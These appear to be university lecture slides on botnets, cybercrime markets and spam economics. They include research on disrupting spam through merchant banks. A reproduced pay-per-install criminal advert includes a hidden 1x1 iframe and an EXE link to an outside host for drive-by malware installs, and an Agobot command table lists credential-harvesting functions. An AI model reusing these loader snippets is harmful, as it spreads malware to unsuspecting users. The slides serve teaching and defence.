CSE 127
Computer Security

Fall 2012

Botnets & Cybercrime

Stefan Savage
Context: threat transformation

- **Traditional threats**
  - Attacker manually targets high-value system/resource
  - Defender increases cost to compromise high-value systems
  - Biggest threat: insider attacker

- **Modern threats**
  - Attacker uses automation to attack many resources at once (filter later)
  - Defender must defend all systems at once
  - Biggest threat: software bugs and naïve users
Economic Drivers

- In last six years, emergence of profit-making malware
  - Anti-spam efforts force spammers to launder e-mail through compromised machines (starts with MyDoom.A, SoBig)
  - “Virtuous” economic cycle transforms nature of threat

- Commoditization of compromised hosts
  - Fluid third-party exchange market (millions of hosts)
    » Raw bots (range from pennies to dollars)
    » Value added tier: SPAM proxying (more expensive)

- Innovation in both host substrate and its uses
  - Botnets: sophisticated command/control networks: platform
  - SPAM, piracy, phishing, identity theft, DDoS are all applications
Installs4Sale.net - надежный сервис по загрузкам, достойный доверия

ПРИЕМУЩЕСТВА

- Быстро осуществляем отгрузку практически в любой регион. Принимаем заказы на миксы стран по вашему выбору.
- Для постоянных клиентов действуют скидки и бонусы в виде дополнительного объема загрузок.
- Договориться по всем вопросам и получить индивидуальные условия вы можете в службе поддержки.

КONTAKTY

- 560869831
- 550525933
- info [at ] installs4sale.net
Договоримся по всем ценам и получить индивидуальные условия вы можете в службе поддержки. Пишите!

Мы отслеживаем уникальность инсталов и их чистоту перед продажей.

УСЛОВИЯ

Мы работаем строго по предоплате. Допускается частичная оплата постоянным клиентам на большие объемы.

Мы не несем ответственности за то, что у вас по каким-то причинам отсутствуют загрузки. Если вы не видите инсталов с первых минут мы можем происторовать отгрузку до выяснения обстоятельств.

ТАРИФЫ

<table>
<thead>
<tr>
<th>Тариф</th>
<th>Цена (за 1000 уникальных загрузок)</th>
</tr>
</thead>
<tbody>
<tr>
<td>GB (Англия)</td>
<td>150$</td>
</tr>
<tr>
<td>DE (Германия)</td>
<td>150$</td>
</tr>
<tr>
<td>USA (США)</td>
<td>130$</td>
</tr>
<tr>
<td>IT (Италия)</td>
<td>120$</td>
</tr>
<tr>
<td>Микс (US, CA, AU, GB)</td>
<td>100$</td>
</tr>
<tr>
<td>CA (Канада)</td>
<td>100$</td>
</tr>
<tr>
<td>Микс (Европа)</td>
<td>40$</td>
</tr>
<tr>
<td>Азия</td>
<td>10$</td>
</tr>
</tbody>
</table>

Все цены указаны за 1000 уникальных загрузок
Richter

Sale of accounts: Yahoo, Gmail, Aol, Hotmail, Mail.ru, Yandex and others.

Yahoo.com 1K = 8 $
Gmail.com 1K = $11
Hotmail.com 1K = $10
Aol.com 1K = $30
Mail.com 1k = $10

GoogleGroups

Mail.ru 1K = 9 $
Yandex.ru 1k = $10
Pochta.ru 1k = $9

Buy Akki? It’s easy!
When ordering from 10k discount of 20%.
Flexible system of discounts when working with regular clients.
The same work under the order (other services), knocking - discuss.

ICQ 425-448-092
e-mail: [To view this link to Register]
## Last news

<table>
<thead>
<tr>
<th>Date</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>4.12.2006</td>
<td>From today our price for Asia grows up to 15$ for 1k and the price for Italy - to 300$ for 1k</td>
</tr>
<tr>
<td>20.11.2006</td>
<td>For the reason of bad price for Asiatic region we have to low our price for it to 125. We're waiting for your understanding. We'll work up this problem as soon as possible.</td>
</tr>
<tr>
<td>11.07.2006</td>
<td>Now, we accept asia loads!</td>
</tr>
<tr>
<td>11.06.2006</td>
<td>We resolve our problem with hosting! And we have a special bonus: you’ll get +20% more to your moneys!</td>
</tr>
<tr>
<td>31.05.2006</td>
<td>From the 31th of May the new system of anti antivirus is started.</td>
</tr>
<tr>
<td>07.11.2005</td>
<td>Problems with BackURL solved, use it!</td>
</tr>
<tr>
<td>11.10.2005</td>
<td>Now you can send not unique traffic to your resources with help of BackURL</td>
</tr>
<tr>
<td>10.10.2005</td>
<td>From the 10th of October the new system of tariffing IS STARTED. From this moment we pay different $$ for different countries</td>
</tr>
<tr>
<td>19.09.2005</td>
<td>From the 19th of october the price for 1000 loads will rise to 80$</td>
</tr>
<tr>
<td>05.06.2005</td>
<td>New system of statistics and new design are started!</td>
</tr>
<tr>
<td>11.07.2005</td>
<td>From the 11th of july the price for 1000 loads will rise to 70$</td>
</tr>
</tbody>
</table>

### Advert link

**HTML Link:**

```html
<iframe src="http://yepjnddpq.biz/dl/adv622.php" width=1 height=1></iframe>
```

**Hidden HTML Link:**

```html
<iframe src="#104;&#116;&#116;&#112;&#58;&#47;&#47;&#121;&#161;&#112;&#106;&#110;&#100;&# width=1 height=1></iframe>
```

**EXE Link (last update 68 hours ago):**

http://yepjnddpq.biz/dl/loadadv622.exe
What’s a botnet?

- A network of compromised computers with a common command & control system
  - Each host called a *bot*, or sometimes a *zombie*

- The bot *herder* sends controls the network en mass
  - Spam, phishing
  - Denial-of-service
  - Click fraud
  - Stealing local data (e.g. cd-keys, passwords, bank account #'s, etc)
Quick botnet history

- IRC-based bots (Internet Relay Chat)
  - Eggdrop bot (1993) used to manage IRC chat channels when operator away (still maintained, eggheads.org)
  - Subsequently IRC proxy created to hide attacker origin
  - Eggdrop modified in 90s for IRC-based attacks (typically trash talking, taking over channels, etc)

- DDoS zombies
  - trinoo, stacheldracht, tfn2k (circa 2000)
  - Individually installed
  - Star-like network or tree… clear connections back to attacker
  - Made famous during large-scale DDoS attacks against eBay, eTrade, etc

- Soon after ideas come together…
  - DDoS with IRC control
**First big motivation: spam**

- Before 2000, spammers could generally get away with sending lots of spam from a server
- Spam-based blacklists become into being
  - “Don’t accept e-mail from IP address 132.239.4.5”
- Effectively *force* spammers to use many different IP address
- First solution: open proxies
  - Mail servers that will accept mail from any source
  - Provokes blacklisting of such servers
- Botnets provide a solution
How botnets get created?

- Hosts infected by one of:
  - Network worm
  - Email virus
  - Trojan’ed program (P2P is rife w/this)
  - Drive-by-download on Web
  - Existing backdoor (from previous infection)

- Typically “phones home” to update software
  - Centralized servers, P2P network, newsgroup, etc

- Connects to “command and control” network
  - IRC, Web server, P2P, etc
Botnet Architecture

- Bot overlay network
  - Centralized:
    » IRC server (Internet relay chat) or Web server
    » Dozen of controllers for robustness
  - Peer-to-peer: self organizing
    » Each host can be a worker or a proxy; decided dynamically
    » Multi-level hierarchy

- Push vs pull designs
  - Attacker sends out message to tell bots what to do (push)
  - Worker bots “ask” for work to do (pull)
Example: Storm peer-to-peer botnet

Bot master

HTTP proxies

Proxy bots

Overnet

Worker bots
Example: Agobot (courtesy Paul Barford)

- First discovered in 2002
  - Also called Gaobot, Phatbot
- 20,000+ of C++, modular design
- Modules
  - Command and control: IRC based
  - Protection: encrypted code, polymorphism, anti-disassembly code
  - Growth: address scanning w/growing collection of software exploits (i.e., to be mounted against other machines under attacker control)
  - DDoS attacks: > 10 different varieties
  - Harvesting: send back local paypal info, cd-keys, etc
- 100’s of variants
# Sample Agobot Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>harvest.cdkeys</td>
<td>Return a list of CD keys</td>
</tr>
<tr>
<td>harvest.emails</td>
<td>Return a list of emails</td>
</tr>
<tr>
<td>harvest.emailshttp</td>
<td>Return a list of emails via HTTP</td>
</tr>
<tr>
<td>harvest.aol</td>
<td>Return a list of AOL specific information</td>
</tr>
<tr>
<td>harvest.registry</td>
<td>Return registry information for specific registry path</td>
</tr>
<tr>
<td>harvest.windowskeys</td>
<td>Return Windows registry information</td>
</tr>
<tr>
<td>pctrl.list</td>
<td>Return list of all processes</td>
</tr>
<tr>
<td>harvest.cdkeys</td>
<td>Return a list of CD keys</td>
</tr>
<tr>
<td>harvest.emails</td>
<td>Return a list of emails</td>
</tr>
<tr>
<td>harvest.emailshttp</td>
<td>Return a list of emails via HTTP</td>
</tr>
<tr>
<td>harvest.aol</td>
<td>Return a list of AOL specific information</td>
</tr>
<tr>
<td>harvest.registry</td>
<td>Return registry information for specific registry path</td>
</tr>
<tr>
<td>harvest.windowskeys</td>
<td>Return Windows registry information</td>
</tr>
<tr>
<td>pctrl.list</td>
<td>Return list of all processes</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>pctrl.kill</td>
<td>Kill specified process set from service file</td>
</tr>
<tr>
<td>pctrl.listsvc</td>
<td>Return list of all services that are running</td>
</tr>
<tr>
<td>pctrl.killsvc</td>
<td>Delete/stop a specified service</td>
</tr>
<tr>
<td>pctrl.killpid</td>
<td>Kill specified process</td>
</tr>
<tr>
<td>inst.asadd</td>
<td>Add an autostart entry</td>
</tr>
<tr>
<td>inst.asdel</td>
<td>Delete an autostart entry</td>
</tr>
<tr>
<td>inst.svcadd</td>
<td>Adds a service to SCM</td>
</tr>
<tr>
<td>inst.svcdel</td>
<td>Delete a service from SCM</td>
</tr>
</tbody>
</table>
Disrupting botmaster

- Legal/police action against herder

- What about the botnet itself?
  - Blacklists
  - Cleaning incentives
    - ISP offramps infected hosts to “cleaner” Web site
    - Your host is infected with x, please clean it up before you will be allowed back on network

- Why not just clean up the hosts directly?
Command and Control disruption

- The herder commands their bots via some command and control channel
  - IRC
  - Some p2p protocol
  - Multi-level proxy hierarchy
- If you can send messages on this channel you can disrupt botnet functioning
  - Example:
    » Advertise false bots, causing most work to be wasted
    » Command bots to shutdown or switch control channels
- Controversial issue
Cleaning bots

- Legal quagmire
  - Tons of different countries, different legal standards, each potentially abusing individual rights

- Microsoft Malware Removal tool
  - Opt-in via Windows update sidesteps legal issues
  - Updated to clean most prevalent forms of bots/spyware
    » Currently ~100 different families, 150k variants
Cleaning a lot… (courtesy Microsoft)

<table>
<thead>
<tr>
<th>Overall</th>
<th>September 2006</th>
</tr>
</thead>
<tbody>
<tr>
<td>Rank</td>
<td>Malware Family</td>
</tr>
<tr>
<td>1</td>
<td>Win32/Rbot</td>
</tr>
<tr>
<td>2</td>
<td>Win32/Sdobot</td>
</tr>
<tr>
<td>3</td>
<td>Win32/Parite</td>
</tr>
<tr>
<td>4</td>
<td>Win32/Alcan</td>
</tr>
<tr>
<td>5</td>
<td>Win32/Wukill</td>
</tr>
<tr>
<td>6</td>
<td>Win32/Hupigon</td>
</tr>
<tr>
<td>7</td>
<td>WinNT/FURootkit</td>
</tr>
<tr>
<td>8</td>
<td>WinNT/F4IRootkit</td>
</tr>
<tr>
<td>9</td>
<td>Win32/Gaobot</td>
</tr>
<tr>
<td>10</td>
<td>Win32/Netsky</td>
</tr>
<tr>
<td>11</td>
<td>Win32/Mytob</td>
</tr>
<tr>
<td>12</td>
<td>Win32/Bagle</td>
</tr>
<tr>
<td>13</td>
<td>Win32/Jeefo</td>
</tr>
<tr>
<td>14</td>
<td>Win32/Spybot</td>
</tr>
<tr>
<td>15</td>
<td>Win32/Banker</td>
</tr>
<tr>
<td>1</td>
<td>Win32/Rbot</td>
</tr>
<tr>
<td>2</td>
<td>Win32/Hupigon</td>
</tr>
<tr>
<td>3</td>
<td>Win32/Alcan</td>
</tr>
<tr>
<td>4</td>
<td>Win32/Jeefo</td>
</tr>
<tr>
<td>5</td>
<td>Win32/Wukill</td>
</tr>
<tr>
<td>6</td>
<td>Win32/Parite</td>
</tr>
<tr>
<td>7</td>
<td>Win32/Sinowal</td>
</tr>
<tr>
<td>8</td>
<td>Win32/Banker</td>
</tr>
<tr>
<td>9</td>
<td>Win32/Bancos</td>
</tr>
<tr>
<td>10</td>
<td>Win32/Zlob</td>
</tr>
<tr>
<td>11</td>
<td>Win32/Sdobot</td>
</tr>
<tr>
<td>12</td>
<td>Win32/IRCbot</td>
</tr>
<tr>
<td>13</td>
<td>Win32/Netsky</td>
</tr>
<tr>
<td>14</td>
<td>Win32/Mywife</td>
</tr>
<tr>
<td>15</td>
<td>WinNT/FURootkit</td>
</tr>
</tbody>
</table>

Cleaned about 25M infections over 10M hosts (> 2 infections per host)
Making money...

- Monetize platform of compromised host
  - **Generic resources**: CPU, IP address, bandwidth, storage
  - **Unique resources**: e-mail accounts, credit card numbers, bank accounts, intellectual property
- Ultimately, must find a way to “cash out”...
Two core criminal value creation strategies...

- Advertising
- Theft

Goods
- Spam
- PPI service
- Exploit kits
- SEO

Banking
- Cred
- Spamming botnets
- Fake AV
- Crypters
- Phishing kits
- Markets
- BP hosting
- Traffic sales
-VPNs
- Infrastructure

Theft
Click fraud

Assumption:
- Click on ad is a customer

What is done
- Identify fraudulent patterns (e.g., many clicks from IP, no sales)
- Refund money from those...
Infostealers

- Infected machines gather information from the disk or as it is typed and send it back
  - Either via command & control channel
  - Or to “dead drop” (e.g., Web site that anyone can read)

- Commercial use (e.g., Zeus/Spyeye)
  - Gathering credentials for online services, banks, credit cards, etc

- Espionage use (e.g., Ghostnet/Flame)
  - Gathering documents of value
Zeus example

<table>
<thead>
<tr>
<th>Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Profile:</td>
</tr>
<tr>
<td>GMT date: 11.03.2009</td>
</tr>
<tr>
<td>GMT time: 14:15:27</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Statistics</th>
</tr>
</thead>
<tbody>
<tr>
<td>Summary</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Botnet:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Online bots</td>
</tr>
<tr>
<td>Remote commands</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Logs:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Search</td>
</tr>
<tr>
<td>Search with template</td>
</tr>
<tr>
<td>Uploaded files</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>System:</th>
</tr>
</thead>
<tbody>
<tr>
<td>Profiles</td>
</tr>
<tr>
<td>Profile</td>
</tr>
<tr>
<td>Options</td>
</tr>
<tr>
<td>Logout</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Botnet: Any</th>
</tr>
</thead>
<tbody>
<tr>
<td>Installs (137)</td>
</tr>
<tr>
<td>GB</td>
</tr>
<tr>
<td>...</td>
</tr>
<tr>
<td>RU</td>
</tr>
<tr>
<td>US</td>
</tr>
<tr>
<td>TH</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Online bots (578)</th>
<th>Reset</th>
</tr>
</thead>
<tbody>
<tr>
<td>TH</td>
<td>122</td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>RU</td>
<td>120</td>
</tr>
<tr>
<td>GB</td>
<td>86</td>
</tr>
<tr>
<td>US</td>
<td>33</td>
</tr>
<tr>
<td>...</td>
<td></td>
</tr>
</tbody>
</table>
Zeus example
Fraud: FakeAV

- Two vectors
  - Infected machine pops up warning
  - Compromised Web site creates fake warning for visitors
    » Aside: search engine optimization (SEO) another big use for botnets
- Warning indicates that machine is infected
- Looks like a real AV system
- Offers to clean you machine if you subscribe (e.g., $50)
Fraud: FakeAV

Windows Antivirus Pro detected dangerous spyware on your system!

Detected malicious programs can damage your computer and compromise your privacy. It is **strongly recommended** to remove them immediately.
Largest botnet application: spam

- Overview of spam and anti-spam
- Local research in spam economics
What is spam?

- To you:
  - Mail you didn't want

- To email providers:
  - Bulk email their customers didn't want

- To the law:
  - Bulk commercial email that doesn't abide by a set of rules
    - CAN-SPAM Act
Spam “applications”

- Direct marketing
  - Selling a good/service yourself
  - Fraud (411 scams)
- Indirect marketing
  - Selling via an affiliate program
  - Stock spam
- Attraction (taking you to a site)
  - Phishing
  - XSS, CSRF attacks
  - Drive-by malware
- E-mail worm propagation (attachments)
Gathering targets

● Harvesting
  ◆ Web crawling (home pages, myspace, etc)
  ◆ News, Mailing list crawling
  ◆ Malware harvesting
  ◆ Blind addressing

● Stealing lists from enterprises/providers

● Purchasing mailing lists
  ◆ Legal: opt-in
  ◆ Other…
How Email Works: Quick Overview

helo test
250 mx1.mindspring.com Hello
abc.sample.com
[220.57.69.37], pleased to meet you
mail from: test@sample.com
250 2.1.0 test@sample.com... Sender ok
rcpt to: jsmith@mindspring.com
250 2.1.5 jsmith... Recipient ok
data
354 Enter mail, end with "." on a line itself
from: test@sample.com
to: jsmith@mindspring.com
subject: testing
John, I am testing...
.
250 2.0.0 e1NMajH24604 Message accepted for delivery
quit
221 2.0.0 mx1.mindspring.com closing
Connection
Connection closed by foreign host.
More on e-mail

- A particular domain (e.g. ucsd.edu) has a small number of mail servers for all outbound mail (e.g., smtp.ucsd.edu)

- However, it is possible for each machine to send mail directly
Sending spam

- Base message composition
- Mass mailing program
  - Interface with target lists
  - Add polymorphism/specialization/personalization
  - Connect to delivery infrastructure
- Delivery infrastructure
  - Send from own machine
    » Can have many RCPT TO: addresses in one e-mail
  - Launder origin via open relays/proxies
  - Launder origin via Email service provider
  - Launder origin via botnet
Example: Send-Safe

Deliverability: 87%
Avg speed: 950244 mails/hour

Total good proxies: 527. Using 317 fastest proxies. Reply time: min 0.4534s, max=2.9521s
What to do about it?

- Block reception
  - Blacklisting
  - Sender authentication
  - Content filtering
- Change economic model
  - Charge sender per message
- Change addressing model
- Legal remedy
  - CAN-SPAM act
Blacklisting

- Detect spam
  - Honeyclients (dummy e-mail accounts)
  - User reports
  - Anomaly detectors plus inspection
- Save the IP address that sent you the spam
- Report to Blacklisting service
- Configure mail servers to validate each IP address against blacklisting service before accepting e-mail
- Issues?
Sender authentication

- Validate that purported origin domain could have generated the message
  - From: obama@whitehouse.gov [132.239.1.2]

- SPF
  - Do DNS lookup on domain, get list of IPs that are allowed to send mail for that domain; validate

- DomainKeys
  - Mail header includes digital signature
  - Recipient does DNS lookup on domain to get public key and verifies signature with it
    » Yahoo, Gmail, AOL

- Issues?
Content filtering

- **Phrase filtering**
  - Known suspect keywords (e.g. Viagra, Cialis)

- **Heuristics**
  - All CAPITAL letters, embedded images, came from estonia, spoofed header, IP address space is dynamic, etc

- **Learning approaches**
  - E.g., Bayesian filtering – train algorithm on known spam, known ham – certain words happen more in spam (e.g. Viagra). Use word appearance as filter
How to evaluate anti-spam?

- It's easy to catch 100% of all spam!
  - Reject all messages
- It's easy to never misclassify good mail
  - Accept all messages
- Need to know false positives and false negatives
  - False positives are a big deal!
- Tricky because most algorithms can be tuned... no single number
Remainder of today: Spam economics (UCSD/ICSI)

• We tend to focus on the costs of spam
  - > 100 Billion spam emails sent every day [Ironport]
  - > $1B in direct costs – anti-spam products/services [IDC]
  - Estimates of indirect costs (e.g., productivity) 10-100x more

• But spam exists only because it is profitable
  • Someone is buying!

• Alternative
  • Attack underlying economic support for spam
Cheap Downloadable OEM Software!

We do guarantee that all OEM programs are the 100% full working retail versions - no demos or academic versions!

**mac Top**

<table>
<thead>
<tr>
<th>Product</th>
<th>Retail Price</th>
<th>Our Price</th>
<th>Info</th>
<th>Add</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adobe Master Collection CS4 MAC</td>
<td>$2495.95</td>
<td>$239.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Acrobat 8 Professional MAC</td>
<td>$429.95</td>
<td>$89.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe After Effects CS4 MAC</td>
<td>$999.95</td>
<td>$99.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Contribute CS4 MAC</td>
<td>$179.95</td>
<td>$69.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Creative Suite 3 Web Premium MAC</td>
<td>$1595.90</td>
<td>$219.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Design Premium CS4 MAC</td>
<td>$1999.95</td>
<td>$249.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Fireworks CS4 MAC</td>
<td>$279.95</td>
<td>$79.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Flash Pro CS4 MAC</td>
<td>$695.95</td>
<td>$99.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
<tr>
<td>Adobe Premiere CS4 MAC</td>
<td>$599.95</td>
<td>$99.95</td>
<td>INFO</td>
<td>ADD</td>
</tr>
</tbody>
</table>
History of the spam business model

- Direct Mail: origins in 19th century catalog business
  - Idea: send unsolicited advertisements to potential customers
  - Rough value proposition: 
    Delivery cost < (Conversion rate * Marginal revenue)
- Modern direct mail (> $60B in US)
  - Response rate: ~2.5% (mean per DMA)
  - CPM (cost per thousand) = $250 - $1000
- Spam is qualitatively the same… just quantitatively cheaper.
First: how spam-based advertising works
Affiliate programs

● Business sponsor
  ◆ Content
    » Web page templates, advertising literature
  ◆ Payment services
    » Visa/MC – typically via third-party structure
  ◆ Fulfillment
    » Goods relationship, drop shipping
  ◆ Customer service

● Individual affiliates paid on commission basis
Many affiliate programs...
Players in the Spam Economy

User (Customer) ➔ Secure Order Form ➔ Affiliate Marketer (Spammer)
Business model (for spammer)

- Estimating ROI
  - **Advertising cost** to send spam (or SEO, blog spam, etc)
    » Outsourced cost: retail purchase price < $60/M addr
    » In-house cost: development/management labor
  - **Marginal revenue**
    » Average pharma sale of $100-200, **commissions** ≈ 40%
  - **Conversion rate**
    » Data for one campaign (1 purchase/3M delivered; conservative)

*Kanich, Kreibich, Levchenko, Enright, Paxson, Voelker and Savage, Spamalytics: an Empirical Analysis of Spam Marketing Conversion, ACM CCS 2008*
Erectile Dysfunction drugs produce ~75% of orders and ~80% of revenue
Business model (for affiliate program)

- Brilliant business model, risk transference
  - Advertising liabilities and innovation cost -> advertisers
  - Note: revenue heavy tailed (90% rev from 15% affiliates)

- Rough cost structure
  - Direct costs (~70-75% including 10% holdback risk)
    » C: Commissions to advertisers (~0.35-0.45)
    » S: Supply cost (~0.15-20; dominated by shipping)
    » P: Payment processing overhead (~0.15; 3-5% refund)
  - I: Indirect costs (~3-6%);

- Gross margins = ~ -0.20

McCoy, Pitsillidis, Jordan, Weaver, Kreibich, Krebs, Voelker, Savage, Levchenko
Pharmaleaks: Understanding the Business of Online Pharmaceutical Affiliate Programs, USENIX Sec 2012
10% of affiliates account for ~80% of total program revenue
Key idea
- Find “bottlenecks” in the full spam value chain
- Place where intervention could be most effective
  » Eliminating resources has largest impact on profitability
  » Fewest alternatives, highest switching cost for adversary

Measure empirically
- Resources needed to monetize each piece of spam
- By playing the role of customer; at scale
  » Three domains: pharma, replica, software

Levchenko, Pitsillidis et al,
Click Trajectory data collection

1. Feed Collection
   - Spam Feeds
   - URL Feeds
   - Botfarm Spam Feed
   - http://sdfjsdf.ru
   - http://pillsale.cn
   - http://drugz.com
   - http://capharma.com

2. URL Extraction
   - http://cheapdrugz.com
   - http://pillsale.cn
Click Trajectory data collection

4 Content Clustering

5 Content Tagging

- Rx Promotion
- Ultimate Replica
- GlavMed
What is gained by purchasing?

- Insight into **realization**
  - Payment info *(via relationship with card issuer)*
    - Bank Identification Number (BIN) of acquiring bank
    - Card Acceptor ID (CAID) (MID + TID)
    - Merchant Category Code (MCC) (e.g., 5912=pharm)
  - Fulfillment
    - Receiving anything?
    - Where shipped from?
    - Contents of order?
Quick review: how an open-loop card transaction works...

Order details

<table>
<thead>
<tr>
<th>Name</th>
<th>Price</th>
<th>Quantity</th>
<th>Sum</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zyrtec (Generic)</td>
<td>$51.73</td>
<td>1</td>
<td>$51.73</td>
</tr>
<tr>
<td>Delivery type</td>
<td></td>
<td></td>
<td>$14.95</td>
</tr>
<tr>
<td>Courier</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Total $66.68

For your safety we use highly secure order processing server with our own secure certificate.

Billing Address

First Name: Sanjoy

Shipping Address

Shipping info equals to Billing Info

Supplier Completes Transaction Based on Authorization Response
Example: What if you ordered from these guys?

Bank Identification Number (BIN) 448314

Merchant descriptor “Smart rt online”

Card Acceptor ID “8875236”

Merchant Category Code (MCC) 5912
Drug Stores & Pharmacies
Director of purchasing

Project lead
pXL
#1 Dietary Supplement for Men

Contains 60 capsules
600+ orders later...
Putting it all together

- Consider interventions in:
  - Domain registration (where you get foo.com from)
  - DNS hosting (the servers that say where foo.com is)
  - Web hosting (the servers that hold foo.com’s content)
  - Payment (the banks that receive the customer’s $)

- How many organizations are involved?
  - E.g., how many Web hosters host this content?

- How many alternatives and how cheap?
  - E.g., if I shutdown your Web host, how much for you to get a new one?

- Bottom line: where are the weak points?
• Some concentration in NauNet (Russia)
• Lots of diversity in remaining domains
• Many alternatives, low switching cost; hard to have lasting impact (see Liu et al, LEET 2011)
DNS and Web hosting

- Even more diversity than with registrars
- Again many alternatives, low switching cost
Merchant banks

- Low diversity
  - 3 banks covered 95% of spam
  - Fewer banks willing handle “high-risk” merchants
- High switching cost
  - In-person account creation, due diligence, multi-day process
  - Upfront capital, holdback forfeiture
Hypothesis

- If we could target merchant accounts...
  - Could demonetize entire system
  - Asymmetry that favors the good guys!
Anecdotal evidence: Revenue by drug type from X
A brief tech transfer story

- A stew of activities
  - Encouragement from D.C.
  - Brand interest
  - Card association cooperation
  - Complex politics around SOPA/PIPA/etc

- Two major changes
  - Visa Global Brand Protection Program
  - Targeted merchant intervention (IACC & brands)
Result: targeted payment intervention efforts today

- **Undercover** test purchase at counterfeit site
  - Get merchant bank BIN from transaction
- IP holder notifies card network (e.g., Visa/MC)
  - Investigation; complaint delivered to merchant bank
- **Leverage via card association contract**
  - Merchant bank owns liability
  - Fines, increased scrutiny, de-association
- Merchant account shutdown
So... does it work?

- Bottom line: Yes, amazingly well.

- We’ve tracked bank association w/affiliate programs for over two years (continuing…)
  - ~1000 purchases (Visa only)

- Joined programs as affiliates to get damage assessment from inside

- Quick stories: OEM software and Pharma

Example: OEM (pirate) software
OEM software story

- Microsoft Thanksgiving surprise (Nov ‘11)
  - Methodically issued complaints for accounts of every major affiliate program
  - Diligent follow up: new processing > new complaints (and quickly)

Scramble to find stable new bank

Refusals increase as takedowns start
Qualitative Timeline

11/20/2011: Starting today our bank has stopped working. Due to this, we have made the decision to close our affiliate program for the duration of our search for new processing.

11/20/2011: ATTENTION

Dear advertisers, we are having problems with the bank and our accounts were suddenly frozen. We're forced to temporarily stop accepting OEM traffic.

11/20/2011: Microsoft starts merchant complaint actions

1/23/2012: Remark by leading affiliate:

"The sun is setting on the OEM era"
OEM software story

- As of mid-late 2013
  - OEM software market has been **decimated**
  - 90% of programs have folded
  - New startups (softbuy) shut down quickly

- Two exceptions
  - Software Sellers
  - CD OEM

- Why?
Lesson: more coordinated Industry action would help
The pharma story

- Much more developed ecosystem
- Intervention less focused, less comprehensive, less follow up
- Still significant impact…
Pharma programs accepting US Visa purchases in 2011
Pharma programs accepting US Visa purchases late 2013
“Right now most affiliate programs have a mass of declines, cancels and pendings, and it doesn't depend much on the program imho, there is a general sad picture, **fucking Visa is burning us with napalm** (for problematic countries, it's totally fucked, on a couple of programs you're lucky if you get 50% through).”
Summary

- Botnets have become a staple of e-crime (spam, phishing, identity theft, etc)
  - Couple large numbers of compromised machines with central command and control

- Spam
  - Direct marketing meets botnets -> 100B spam/day
  - Significant profit center for criminals

- Many other avenues for monetization
  - Click fraud, phishing, infostealers, FakeAV, etc…

- Sometimes most effective solutions are not technical solutions
Next/final class

- Information hiding and covert channels